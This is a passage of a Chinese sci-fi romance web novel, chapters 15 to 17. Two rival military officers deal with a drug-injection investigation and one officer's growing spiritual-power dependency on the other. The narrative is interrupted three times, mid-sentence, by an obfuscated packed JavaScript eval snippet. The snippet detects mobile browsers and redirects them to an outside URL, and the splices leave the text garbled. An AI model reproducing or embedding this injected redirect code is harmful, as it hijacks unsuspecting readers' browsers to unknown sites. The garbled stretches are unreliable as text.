栾绮把余光从他的背影上收回,见面前稍作噤声的军官们松了口气,有人低声嘀咕说:“多少次了,每次上校从旁边走过,总有种喘不过气来的感觉。老天……这种感觉真不妙。” 那人身边有个军官取笑说:“精神力等级压制总是存在的,不过应该也能避免,你多练练呗。别每天干完活就瘫着。” 他们打趣着,栾绮懒散地看着他们笑,眼底思绪莫名,直到身边的人用胳膊肘碰了碰她,她才抽回思绪。 身边的军官问:“栾绮,联邦调查署特殊调查组的那位组长,你应该认识吧?我记得很早前在校时,他总来指挥系向你请教问题。” “你是指……尤里斯?”栾绮一顿:“怎么?” “哦,”军官说,“调查署很久没有出现办事效率这么高的家伙了,这才一个月半不到,E-D注射剂的事就有了眉目,换做之前,没有三四个月很难得到解决。” 栾绮“嗯”了声,对方又说:“这次的事情很严峻。E、F两个星球,尤其是F星,出现了不少虫化者,其中也包含高等级的虫化者。看来,你要出差了,小栾中校。不过这次的任务有你在,会解决得很快。” 栾绮不在意地说:“也算是回了趟老家。” 对方被她逗笑似的:“别人都巴不得跟F星撇开关系,只有你和其他少数人会这么想。总之,这次出差基本上是你和蔺上校。F星大都是贫民窟,落后又贫穷,对精神力的防护可没有首都星这么强。你们两个发生冲突,得悠着点,别毁了人家的建筑物。” 听到调侃,栾绮微妙地眨了下眼:“哪有这么夸张。” 对方摊手:“不好说。就像当初我们也不清楚,你们分明没怎么沟通过,关系就这么差。饶是互相之间争个第一,都没必要这样针锋相对。” 栾绮轻轻地“咦”道:“有这么差嘛。” 对方理所当然说:“对啊,难道不是一直都这样吗?” 是吗。 栾绮若有所思地想,似乎是这样的,但又不完全是。 于是她笑了一下,未回答,低头看了一眼时间。下午的重要会议还有十来分钟不到就要开始了,她跟几人打了声招呼,走向会议室。 栾绮一进去,就往蔺序然所坐的方向看去。也许是她的错觉,虽然这位上校脸上还是一如既往的没有露出太多表情,可栾绮总感觉他今天的神色状态不太好。 她正准备往蔺序然那走去,后头一道声音打断了她:“栾绮。” 栾绮循声而看,尤里斯穿着调查署的制服,靴子往前走了几步到她身侧。 “有一阵子没见着你了。” 栾绮看了尤里斯两眼。他整个人都透着一股浓重的疲惫感,唯有一双眼亮得惊人。 她:“你这是……?” 尤里斯点了点自己的黑眼圈,笑着说:“加班加点调查案件,抱歉,没有好好收拾自己。我现在一定看起来很糟糕吧?” “没有什么太大的区别,不算糟糕。”栾绮回道。 尤里斯有些意外,但脸上的笑意越发浓了一点,他说道:“几天前忙里偷闲,原本是想用终端和你联系,不过一想到就算你现在处于空闲期,也有军务要处理,就放弃了这个念头。好在我也要去F星,我们能有机会一起共事。” “这样啊,我很期待。”栾绮一贯地笑意盈盈说。 尤里斯有点不太好意思地抓了抓深棕色头发,他张了张口,忽地听到前方司法部门的人在叫他,他只能道:“失陪了。” 栾绮点点头,拉过蔺序然身侧的椅子坐下。 身边的人察觉到她的动静,身子微不可见地往另一侧避开。 栾绮:“?” 她抬了抬帽檐,找了个舒服的坐姿,回头看他:“你又在躲什么,长官?” 蔺序然绷着身体,随着栾绮的坐下,那股精神力朝他涌来。他忍着身体的不适,没说话,只是一昧地看向前方。 不过恰好,会议适时开始。 这次的会议不是单纯的会议。针对E-D注射剂事件,军方和政客齐聚一堂,最高处坐着的除了面容严肃的上将外,还有检察长、精神力研究所高层领导等人。 栾绮不是第一次面对这种场景,实力强悍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15184238|165442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的精神力者在某些地方总会拥有一些特权。但她还是懒洋洋地微阖着眼皮,听前边尤里斯所整理的报告。 “……经过多天的调查监测,F星的‘污染源’残体最超标,B、C两星已有‘污染源’的存在。初步认定注射剂存在大规模转移的风险,据犯人虫化者李察的口供,注射剂虽在E、F星流通,但交易对象皆为更高等的精神力者中间。调查署已经和F星当地取得联络,保持高度监察。因注射剂的使用者存在精神力不稳定的因素,需要军方协助。” 上将轻叩桌面,轻轻颔首:“接受配合。此事,交于两位校官是不二之选。指挥权由蔺上校负责。” 蔺序然表情漠然地行礼应下。 上将话锋一转:“但,需要在下次虫潮来临之前尽可能处理好这件事。你们知道的,战事不等人。” 压力给回了联邦调查署,在检察长的注视下,几个检察官眼神来回间,又全然递给了精神力研究所。 研究所的陆副主任于靠在下方的座位上缓慢地笑了下:“几位,研究所隶属于军方,别把权责抛给我们。《星际联邦宪.法》的第一条例可别忘了,有什么问题,完全可以向最高法院提出异议。” 监察官说道:“那是当然。对于这事,不光要有调查署、安全局等的相关配合,军方的配合极为重要的。E-D注射剂一事,在联邦内部看来,和虫潮一样危险。” “……” 接下来是不太愉快的会谈。 栾绮收回目光,慢吞吞地将视线转移在了身侧的人上。 他将唇线紧紧抿成一条,大概率同她一样,对这场会谈不太关注,但他似乎有点异样。 的确很异常。 靠得越近,跟她待在一起的时间越久,在病症的驱使下,那股臆想中栾绮的精神力将他密密匝匝地围绕着,就连她身上的那股清冽的气味,他几乎都能闻得一清二楚。 甚至还有她的眼神,带着同她不相符合的侵略性。 依赖症的渴望,想让他同她靠得更近一点。 药效无法抑制他太久。 他想要躲开这道注目,于是蹙了眉,银灰色的眼眸淡淡地扫向栾绮。 始作俑者没有会意到他眼里的警告,反而微微偏了点脑袋,一脸古怪地盯着他瞧,像是在问他—— “做什么?” 蔺序然:“……” 他收回眼神。 上边谈话的声音越发激烈。病症在发挥它的影响,交流声落在耳边像是嘈杂的噪音一般,蔺序然没能听下去,只是垂着眼,余光瞄向栾绮放在腿上的手—— 手掌在半截手套内露出来一小片,掌纹清晰。 想要握上去。 更想要贴上去。 但无法这么做。 这里是会议,何况他也不能这么做。精神力暴动已经很影响他,不能再让依赖症支配着他。 蔺序然沉默地看着前方。 可不受控制的是,等他晃神过来,他的手指在不经意间,悄悄地勾缠上了栾绮的手指。手背相贴,皮质手套的布料互相摩擦。 蔺序然唰然抬眼。 一切声音仿佛离他远去,眼里只有桌底下亲密交缠在一起的手,指缝间的相缠,密切得几乎连空气都挤不进去。 不止是他愣住了,栾绮也疑惑住了。 她刚刚没避开,还在琢磨着他这是干什么呢。就这样……? 她下意识地想要抽开,发现缠得很紧,没法用力抽出,刚要用掰的,蓦地看到对方的表情极为不自在,素来冷感的眼睛凝滞住了,连呼吸都放轻了一些,有点茫然地望着她。 “……” 很罕见的表情。 栾绮在心里骤然发笑,打消了想要把手抽出来的念头。 16. 16 虽说是这样,但很奇妙。 被勾过去的手指似乎在发烫。 之前也不是没有过肢体接触,但这次手指上勾缠格外无法忽视,让栾绮心里有点怪。 说不上来的感觉,或许是觉得对方的表情很新鲜,因为从没见到过他流露出这副几近不知所措的模样。 于是栾绮动了下那根手指:“长官,你这是又想做什么?” 蔺序然表情一僵,但迅速收拾好自己外露的神情。 外界的交谈声逐渐从他的耳里回来,他想把手给抽回来,身体却并不想让他这么做。甚至还想更近距离地同她交握,而不是离着两层手套隔靴搔痒。 想要进一步地感受她的肌肤;想要让她的精神力和自己的纠缠不清—— 想更加依赖她。 这个想法不免地令他头脑轰鸣,蔺序然瞬间清醒了几分。 这里还是会议…… 在会议桌下勾搭手指,有些荒谬,隐秘的羞耻在一点点地挠着他发麻的指骨。 他遮掩似地没什么表情抬头看前面,随后才恍然发现会议早就结束了,不少人相互交流着起身陆续离场。 栾绮抬起手:“莫名其妙地做这个动作……是有什么要让我上套的新骗招吗?” 交缠的手指在慢慢上移,蔺序然赫然间怔了一秒,心头忍不住慢滞了半拍,像是怕她把手挪到桌上被人瞧见似的,他别开脸,忽地一下松手,转而扣住她的手腕,把手往桌下压。 “没有。”他迟缓地回她。 “?那这是?” “……” 太反常了。 栾绮又太了解他。 她还从没见他主动过,平时总看起来一副不愿和人深交的样子,深入了解之后也是戳两下才恼怒地回一下的性子,所以就别说会有现在这样用手勾勾搭搭黏黏糊糊的劲了。 不过他这种进退两难的眼神还怪奇特的。 栾绮没有选择抽回手,只是扬起语调说:“长官,这总归要给我个解释吧。毕竟凭我们这种在别人眼里一直都很差劲的关系,你现在这样做,不知道的,还以为你终于忍无可忍想要逮捕我。” 也许是心虚,蔺序然绷着脸顺着她的话回她:“用‘以下犯上’的罪名?” 栾绮乐了:“也不是不行。那你呢。作为下属的我‘以下犯上’,身为长官的你,在工作时,不会‘以上欺下’?” 蔺序然语气冷硬:“我没有这么卑劣。” “那么,不卑劣、公私分明的长官,还要这样抓着不放吗?”栾绮好整以暇地晃了晃自己的手腕,“顺便再告诉我一声,这是为什么。你的暴动才刚刚过去,精神力不适症状也不会在这个节点上发作。” “……” 尽管她这次难得没怎么跟之前一样呛他,但蔺序然不可能给出一个很好的解释。 他已经有无数个失误落在她的手里,不能再多这么一个了。 蔺序然顿了足足半分钟,才低着头,很轻地道:“……恶心你?” 栾绮:“?” 栾绮在心里笑得差点维持不住自己。会议室虽然有人在离场,可留在这的人还不少。她憋了几秒,实在没憋住,控制了下声音,噗嗤笑道:“就这?” 蔺序然攥了攥手指:“嗯。” 他懊恼地想,还不如把她那句“新骗招”拿来当借口。 栾绮挑剔道:“长官,这可恶心不到我。还有什么别的解释吗?” 蔺序然:“……” 他扭过头,无法避免地皱起眉,看起来在思索。 “进度很快,尤里斯,趁这个功夫,好好休息几天吧。调令过两天才下来。” “是,长官。” 渐近的话语陡然传来,紧跟着是逐渐清晰的脚步声,蔺序然手指微僵,仅存的意志让他在桌底下握住她的手凝了半秒,然后唰然松开。 栾绮拧了下眉心,又迅速恢复原来的表情,手腕刚活动了几下,尤里斯的话就从上方传来:“栾绮,我刚好得了空,下午要去喝一杯吗?我想,我们可以好好地叙叙旧。” “下午吗?”栾绮适宜起身,微微笑着,轻车熟路地回绝:“抱歉尤里斯,下午我另有安排。” 尤里斯有少许失望,很快地,他说道:“没关系,未来几天我们能够一直见面,叙旧的时间不会少。等调令下来,我们就可以一起去F星。听说你曾经在那边生活过一段时间,我还没去过那,很期待能看到你曾生活过的地方。” “星际联邦的每个星球都会让人期待,不过相对别的星球来说,它或许差点意思。”栾绮懒洋洋地解释道。 “……” 蔺序然面无表情地将脊背靠在座椅上,听两人交谈。 这才松开彼此相勾的手不到一分钟,那点见到她好不容易压下去的渴望又重新冒了出来。而且,这股感觉越来越强烈,几乎是不满足于单纯地隔着手套勾手。 想要近距离地紧贴着她的肌肤。 蔺序然不适地将荒唐的念头抑制下去。 按理来说,接下命令之后,他现在应该去办理相应的手续,而不是坐在人已经走光的会议室内,听着栾绮和别人闲谈。 蔺序然寒着脸垂眼想。 焦躁的渴求使他听不进任何话语,耳侧只有栾绮的嗓音—— 两个人不知道说了什么,他听到栾绮拖着尾调,笑了一下。也许只是礼貌性的轻笑,可蔺序然到底还是微不可见地侧了下身,绷着身子,不受控又极为克制地勾了下她的手套。 那边,尤里斯在问:“你现在要离开吗?需不需要我送你。不论是机甲部还是其他部门,这些路线我都很熟悉。” 栾绮停顿了好一会。 尤里斯:“嗯?怎么了?是要去重要的地方吗?” 栾绮眼皮一跳,很自然地侧身,将不起眼的小动作很好地遮掩住。她心里的怪异不断地在扩大,垂在一侧的手被人轻轻地一碰。她能感受得到未被手套包裹住的掌心处,有人屈起指节将那层薄薄的布料勾拉着,对方手指上微凉皮质的布料在缓慢地蹭过她的肌肤,随后笨拙又意犹未尽地用小指缠上她的指骨。 这算什么。 他又是在做什么? 精神力暴动?不适症?敏感?依赖症? 一串串名词再次从她的脑海里迅速划过。 或者是——又得了精神力失调症。 不应该。 栾绮极为费解,心中又带着点止不住的惊愕,连甩开都忘记了。 她面上一派淡定地回复道:“没什么。多谢你的好意,尤里斯,不过我要去的地方不方便透露。” “哦。”尤里斯了解地点点头,欲言又止地看了几眼栾绮。 她稍侧着身子站在自己的面前,脊背挺立,站姿不管是放松与否,都从骨子里透出一股干脆利落又赏心悦目的味道来。联邦军人的身高普遍较高,栾绮一米七九的个子,能够遮挡住后面坐着的人,从这个角度出发,只比她高出五六公分的尤里斯自然看不到后面的人在做什么。 栾绮问:“怎么?” 尤里斯摇摇头,但又迟疑了一瞬,想问她,是不是要和这位上校一起。不过转念一想,除了在战场上,两个人私底下的关系又不是很好,就算在一起相处,也只是普通的军事工作关系。 可,真的是这样吗? 尤里斯不免地想起军校时期的一点事,看起来貌似是这样的。于是他迟疑了片刻,还是说道: “那,我先走了?” 栾绮应了声。 等到他出去,会议室彻底没有了人。 栾绮转过身,目光忍不住落在自己的手上,他们还维持着刚刚这种姿势。她眼神莫名,慢慢地挪到坐着的人身上。 她居高临下地望向他,审视了一番,然后,舒展开眉眼,笑吟吟地问:“这也是在恶心我吗,长官?” 如梦初醒般,蔺序然咻的一下缩回手。眼里的迷茫跟刚刚相比有过之而无不及。 蔺序然的脑海有瞬间的空白,颇有几分呆愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后,他没有再说一句话,踏着军靴离去—— 说是离去,更多的是落荒而逃吧。 栾绮若有所思地站在原地想着,满意却又不太爽快地屈起手指调整自己的手套。她压着眉心,在静谧的会议室,难得有些沉默,直至私人终端传来一道简讯。 梅莉娅:[亲爱的,平常你都会提前十五分钟到达,现在已经迟了半个小时,你还来不来喝酒?] 栾绮:“……”糟糕。 栾绮:[不了。接了个任务,过会要去办理下手续^^] 梅莉娅:[……道歉。] 栾绮:[对不起TvT] 梅莉娅:[原谅你了。] 梅莉娅:[是要去F星吗?] 栾绮诧异:[消息这么灵通?] 梅莉娅:[当然。我现在这个身份,一点内部消息还是能接触到的,小栾中校。] 没过几秒,梅莉娅又发来各种资讯。 【精神力研究所:论F星的精神力失调症】 【精神力研究所:精神力失调症的危害】 【治疗师协会:面对精神力失调症,我们该怎么应对】 【星际联邦政府:为什么说F星更适合非精神力者居住】 栾绮失笑,既然要去F星,联邦军部自然会有打算。不过她还是回复:[知道了,梅莉娅。] 对方说好。 栾绮刚准备收起终端,目光忽地凝视在了“精神力”三个字眼上。 她记得,精神力手册有电子版,而且之前治疗师递给她的手册,她只浏览了一半。虽然手册只是起到了说明作用,不足以窥出真正的情况,但还是能寻到一点蛛丝马迹。 于是栾绮从数据库将手册调出来,一目十行地扫了过去,随后目光定格,轻轻地“咦”了下。 17. 17 前赴F星的任务定在三日后。除了军方和特殊调查组成员,其余相关部门也派遣出了不少人员,避免F星的精神力失调症对精神力的危害。 军方的军舰在每个星球之间都有单独的路线,与其他部门分别开来单独行动。抵达F星,需要三四个小时的舰程。 彼时,舰船内中央调控室的显示屏开着,将投影人像展露出来,作为E-D注射剂事件的主要负责人,尤里斯正通过投影人像,事无巨细地协调道: “因为F星的精神力失调症很严重,所以在不动用精神力的情况下,击垮A级以上的注射者的确较为困难。仪器显示,通过注射剂而将精神力提高至A级的注射者大约有十几个,为了防止他们虫化,和尽可能不损坏F星的建筑物,我认为,需要采取非激进的措施。” 栾绮倚在转椅背上,手指有一搭没一搭地绕着自己的发梢。 她慢吞吞地听着投影人像面前,以杨乔为首的几个副官不太赞同地说道:“F星建筑物的材料同其它星球相比过于落后,如今的军.用武器更迭速度过快,一经使用,建筑物很难不造成大幅度坍塌。民.用武器对A级造成的伤害又只有皮毛。再说了,尤里斯组长,原定使用的武器,并非是激进措施。” 尤里斯只道:“各位长官,我知道下一波虫潮即将来临,而你们又负担着需要处理的战区军务,行程繁忙,使用那些武器可以方便快捷处理好注射者。但,既然上方下了命令,军方需要协助我们工作,那么就该好好协助,而不是怎么方便怎么来。F星不是禁区星,过度的粗暴并不能解决问题。” 站在他投影虚像面前的杨乔愣了一下,不太满地沉脸说:“粗暴?嘁,按理来说,怎么解决那群人,是我们军方的事调查署没必要插手。配合已经是最大的让步。” 尤里斯表情冷漠。他漠视道:“我想,这件事不应该由你们几位来和我商讨。” 杨乔也冷道:“抱歉,尤里斯组长。说起级别,在禁区星,你连和我们几位说话的资格都没有。遑论跟两位长官。就算平时能说上几句话,无非是沾了在军校时的那点光。” 场面有点凝住。尤里斯将目光移向不远处坐着的栾绮,对方接过了他的视线,掀起眼皮,微笑道:“尤里斯,既然上将把任务交于了我们,意味着她想要尽快解决这件事。” “……”尤里斯皱起眉。 “以及,命令权不在我这,部署任务不归我管。”栾绮将眼神落在离她三米开外的蔺序然身上。自从今天一见面,他就不动声色地同她保持这个距离。 蔺序然:“……” 她每次看他的眼神都太过于直白大方,坦荡到有些露.骨,甚至还总带着挑衅的味道。 蔺序然不适地侧开脸,没什么表情地吩咐杨乔:“到此为止。” 杨乔应了声,对尤里斯扬了扬下巴,旋即,非常果断地关闭了投影人像。 他抱怨似地揉了一下鼻子:“分明都是从军校出去的。这才过去几年,就和联邦那群政客一样,声讨我们做的事情粗暴。难道他们是想让我们对待那堆虫子温柔一点?见鬼,这不被它们撕得粉碎。” 旁边几个副官无所谓地宽慰道:“尤里斯啊,他的行动能力确实不错,但会在处理事务上不近人情。不过管它呢,联邦内部在对待虫族一事上本就有着不协调的矛盾,想这个有什么用。有这个功夫不如去悠闲会儿,反正现在还有两三个小时到达F星。毕竟,哪天死在虫潮内回不来都说不定,及时行乐。” 她们中有人说完,迎面撞上了栾绮的视线。 “……” 栾绮敲敲桌面,笑得一脸轻松:“各位,现在可不是行乐的好时机。” 几人不好意思地一笑。 “但话又说回来,”栾绮撑着脸道,“偷偷地不被你们长官发现就好。” 蔺序然:“我在听,栾绮。” 栾绮轻轻地“哦”了声,笑意盈盈地说:“长官,你都快缩到角落里去了,我以为你会听不到。” “……” 这只是为了避免跟她太近。 假性依赖症和依赖症的症状没什么区别,只是前者更容易自我恢复罢了。前几天不过是单纯地和她碰了下——回去之后,普通剂量的药都已经止不住了。 蔺序然未吱声。 又听栾绮拖着懒洋洋的腔调,对着他那几个噤声不知道怎么办的副官说道:“正好,F区还缺几位副指挥官。在蔺上校手下做事委实过于辛苦,几位,不如考虑考虑来F区,我们那边待遇可不比A区差。” 包括杨乔在内的几人:“?” 公然挖墙脚? 但,老实说,谁不喜欢在小栾中校手底下干活?看她每天一副笑眯眯,说话还温声细语的样子,情绪价值拉满,打虫子都不苦了,简直就是享受。 不过谁都知道小栾中校在开玩笑。只是一旦动摇,难免有些心虚。何况原来的长官还在这,于是几个副官面面相觑,眼神交流显得格外的忙碌。 蔺序然淡声吩咐道:“出去。” 几人这才松了口气,行礼应下,走近内部舱门正准备要出去时,杨乔忍了又忍,最终没忍住,悄声说: “就这样留着长官和中校待一起真的可以吗?上回虫潮,A区和F区的区边线就是这样被破坏的。而且你们看,那个三四米开外的距离,我都没见过,有点恐怖……” “我说杨副官,你碎嘴也看看场合啊。脚伸一步就可以出去了,非得在这说。军舰又打不坏,指挥操控台有保护模式,瞎操心什么。”有副指挥官受不了地推他一把。 杨乔尴尬闭嘴。 蔺序然沉默。 栾绮倒是一乐,又将自己的注意力转移回了终端的数据上。 随着几人的离去,中央调控室只剩下了静谧。 舰船在无声地穿梭行驶,透过大屏透明玻璃,能够看到浩瀚无垠的星海和微弱光芒的绮丽星云。 蔺序然默不作声地望了一眼她伏案操作数据的模样。栾绮认真工作时,总会收起脸上的笑意,微拢眉心,显得眉眼漂亮又锐利,带着动人心魄的威慑。 她手指一顿,轻轻抬眼:“怎么?长官这样看着我,是想要帮我分担军务?” 蔺序然平静地说:“做好你自己的。” 栾绮关闭数据,起身。在她的动作下,身后的转椅“哗啦”转掉了椅身,栾绮绕过桌子,向前一步。 蔺序然不着痕迹地向后半退,冷淡道:“站住,栾绮。” 她没听。 蔺序然再次命令说:“三米外,不许靠近。” 这是最安全的距离。假性精神力依赖症的撺掇,会让他毫无抵抗力地和她亲近,离得远点,他还能依靠药物忍受,但只要超过某段距离,药物的作用完全不可控。 那是非常糟糕的一件事。 不过,除了真正进入作战区,一般情况下,栾绮从来不会听从他的命令。让她远离自己站着别动,这种口头上的警告,她压根就不会当真—— 出乎意料的是,在距离他刚刚好三米的地方,栾绮停下脚步。 “真叫人伤心,长官,怎么感觉你在疏远我。最近我应该没有做太过火的事吧。” 她朝他微微笑着。 “……没有疏远。你想多了。” 蔺序然轻蹙起眉。 很诡异。 这个距离,他既想要栾绮再往前几步,又想让她后退。 他明明不愿意,内心却有股隐秘的期待。 偏偏栾绮还真的如同他的命令般,站定在原处一动不动。 “你也出去。”蔺序然冷声说道。 栾绮偏了偏头,好整以暇地盯了他半秒,作势要走。 “……等等。”见她真的要走,蔺序然忽然抿唇说。 “长官,你这是在对我滥用职权吗?”早就看出了他的踌躇,栾绮从容不迫地问。 “没有。” 知道自己的行为有些飘忽不定,蔺序然错开眼,心虚并很勉强地澄清。 “没有?你这样子,看起来是想要刁难我。” “要想为难你的话,不用等到今天。” 蔺序然停了停,又道:“何况,你很少听从我的命令。我为难不到你。” 栾绮瞥了他一眼,见他表情掩藏在帽檐之下,不太能看得清。但她大概率猜得出他想做什么,于是难得对他说: “那行。请问,长官有什么命令,我现在一一照做。” 蔺序然:“……” 他不回话。 栾绮又说:“我想想,长官一定是想让我出去。” 她慢吞吞地转身,故技重施。 蔺序然骤然向前几步:“栾绮。” 栾绮回身看他,指指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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栾绮收起了那副逼迫人的姿态来,兴致缺缺地说:“真可惜,我还想看你想要碰我,又拒绝碰我,碰到我之后绞尽脑汁想借口的样子,那多有趣啊,长官。” 蔺序然冷淡道:“抱歉,栾绮,没让你如愿。” 听起来像是嘲讽。 栾绮扬了下眉。 “能欣赏到就足够了,长官,我乐得见到你露出那种表情。” 栾绮微微一笑,往后撤退两步,却冷不丁被他迎面勾住腰带。 栾绮:“?” 蔺序然身体一僵。 又来了。他心想。 栾绮:“你想找我帮忙?” 蔺序然:“没有。” “那你的手?” 蔺序然没放开,不自觉地勾着她的腰带,手腕稍稍用力,将她往里拉。栾绮站得稳稳当当,岿然不动,只能感到腰腹边的腰带收紧。她只好偏首瞧他。 没有轻易拉动,蔺序然缓慢地眨了下眼,自暴自弃般又难耐地勾动了两次。这次,栾绮瞧着他细微的表情,倒也竟真的配合他,卸力朝前走回了那两步。他们很快地维持回不久前的姿势,甚至更近了不少。 栾绮凝视着他别扭的表情,慢悠悠地开了口:“找我帮忙,可不能只有这个态度,长官。” 很熟悉的口吻。 是那两次精神力暴动时候,她惯有的,循循善诱的语气。 蔺序然抿着干涩的唇,放低声音说:“帮帮我,栾绮。” 这种请求她的事,他都快轻车熟路了。 栾绮想着脑海里那堆关于假性精神力依赖症的描述,犹疑了一秒,又瞥他脖颈边的红,凑近他:“好啊,长官。你想让我怎么帮?” 没想过她答应得这么干脆,蔺序然怔了会,低下头,只道:“站这就好。” “?只是站在这里?” “……嗯。” 栾绮:“……” 站在这跟他大眼瞪小眼吗?那还不如出去找他的副官们呢。 栾绮无意识地露出个奇怪的表情。 随后,过了不到一分钟,蔺序然再次出声:“栾绮。” “又怎么,长官。” “……” “手,”他面无表情地望向她,轻声说,“想碰。”